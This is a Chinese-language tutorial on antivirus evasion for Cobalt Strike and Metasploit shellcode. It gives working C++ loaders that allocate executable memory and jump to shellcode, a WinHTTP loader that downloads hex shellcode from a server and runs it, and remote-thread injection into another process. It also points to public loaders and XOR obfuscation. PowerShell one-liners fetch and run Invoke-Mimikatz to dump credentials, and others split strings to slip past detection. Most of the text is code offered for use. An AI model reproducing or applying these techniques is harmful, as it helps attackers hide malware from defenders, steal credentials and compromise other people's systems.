前面的话:”免杀一般都是靠组合拳”

EXE

加壳

没什么好说的。可以自写加壳器等等

添加数字签名

不同的杀软对数字签名的敏感性不同,有些杀软可能只检查一下有没有数字签名就过了,有些杀软可能要去验证一下数字签名的正确性,有些可能管都不管数字签名。只能说添加数字签名能稍微提升一下exe的免杀几率。

C++

指针执行+申请内存动态加载shellcode

首先从cobalt strike上生成拿到shellcode用作本次测试。
然后通过下面的代码,直接执行写死在程序里的shellcode。

#include <iostream>
#include<Windows.h>

int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

QQ截图20210217145713

可以看见,还是很拉跨的。

内联汇编加载shellcode

c++有强大的内联汇编功能,上次写壳的时候就感受了一番。
我们可以通过内联汇编代码加载shellcode.顺便加花什么的,都可以弄。

#include <iostream>
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib,"user32.lib")

int main()
{
unsigned char buf[] = "shellcode";
_asm {
lea eax, buf;
jmp eax;
}
}

QQ截图20210217145723

还是蛮拉跨的,虽然我没有加花。

HTTP协议远程读取shellcode

这次我们不把shellcode写死在程序之中,而是通过程序发起http请求向外界获得shellcode并执行。
这里涉及到winhttp.h的一些函数的使用。

源码借用一下 卿 的代码。它的代码是直接把shellcode的十六进制以字符串形式直接放到远程服务器上。像这样

QQ截图20210217145737

#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession)
{
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}

if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
}
LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
SIZE_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
if (hRequest)
{
std::string data = "name=host&sign=xx11sad";
const void *ss = (const char *)data.c_str();
bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
}
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

break;
}

if (!dwSize)
break;

pszOutBuffer = new char[dwSize + 1];

if (!pszOutBuffer)
{
printf("Out of memory\n");
break;
}

ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
printf("ok");
}
//char ShellCode[1024];
int code_length = strlen(pszOutBuffer);
char* ShellCode = (char*)calloc(code_length /2 , sizeof(unsigned char));

for (size_t count = 0; count < code_length / 2; count++){
sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
pszOutBuffer += 2;
}
printf("%s", ShellCode);
//strcpy(ShellCode,pszOutBuffer);
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
delete[] pszOutBuffer;
if (!dwDownloaded)
break;
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
system("pause");
}

大致流程便是:

1.通过winhttp中的函数,以HTTP的方法获取远程服务器上的shellcode(此时shellcode在内存中是按照编码结果存储的,如下图,左边是内存原文,右边是内存解码(shellcode))

QQ截图20210217145818

2.开辟一段内存,然后通过sscanf等方法读取存储shellcode变量的内容,将内存解码信息录入新的内存空间,使shellcode存在于内存中
3.执行shellcode,可以用指针执行等方法执行。

使用加载器加载shellcode

shellcode_ launcher 加载器

https://github.com/clinicallyinane/shellcode_launcher/

用msf或者cs生成raw形式shellcode,然后使用这个加载器加载一下就行了.
像这样 shellcode_launcher.exe -i C:\payload32.bin
shellcode_ launcher 在virustotal上报毒率也是很高很高了…

SSI 加载器

https://github.com/DimopoulosElias/SimpleShellcodeInjector

cs生成c形式shellcode,然后去除\x,再拿给ssi加载器加载,像这样

QQ截图20210217145832

ssi.exe shellcode 即可完成加载

ssi在virustotal上报毒率也是非常高..

自写加载器

ssi源码很简单大家可以参考写一下

shellcode变形

大思路就是把shellcode混淆后,放入加载器加载运行。
其细分思路就包括怎么把shellcode进行混淆了,简单的有XOR,BASE64,复杂一点的有AES等。
这里就只说说xor。
首先我们得准备一个程序将shellcode进行混淆。图方便就拿python写也是蛮不错的。
随便写了一个。效果真不戳(虽然上传了vt过两天就肯定不能用了)

QQ截图20210217145855

github:https://github.com/ConsT27/SimpleXORshellcode

shellcode注入进程内存

注入已有进程

大致逻辑:OpenProcess获得进程句柄->VirtualAllocEx在进程中开辟一段内存空间->WriteProcessMemory向刚刚开辟的内存空间中写入shellcode->CreateRemoteThread为刚刚写入的shellcode创建一个线程执行

#include <iostream>
#include<Windows.h>

int main()
{
unsigned char buf[] = "shellcode";
DWORD pid = 25388;
HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!Proc) {
std::cout << GetLastError() << std::endl;
}
LPVOID buffer = VirtualAllocEx(Proc, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (buffer) {
std::cout << GetLastError() << std::endl;
}
if (WriteProcessMemory(Proc, buffer, buf, sizeof(buf), 0) ){
std::cout << GetLastError() << std::endl;
}
HANDLE remotethread = CreateRemoteThread(Proc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
}

效果:虽然也很拉,但是静态过了趋势是我没想到的。

QQ截图20210217145906

Powershell

远程执行与本地执行

远程执行

powershell可以加载远程的ps1文件。这样做的好处是实现了无文件落地。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

不过市面上很多杀软对downloadstring检测十分十分严格(许多会检测远程文件安全性)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1 (smb)

本地执行

powershell Import-Module .\xx.ps1

命令拆分

就像刚刚远程加载的downloadstring法,它很容易被杀软拦截。但是我们可以通过拆分重组绕过一些杀软检测。

powershell -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://webserver/xxx.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"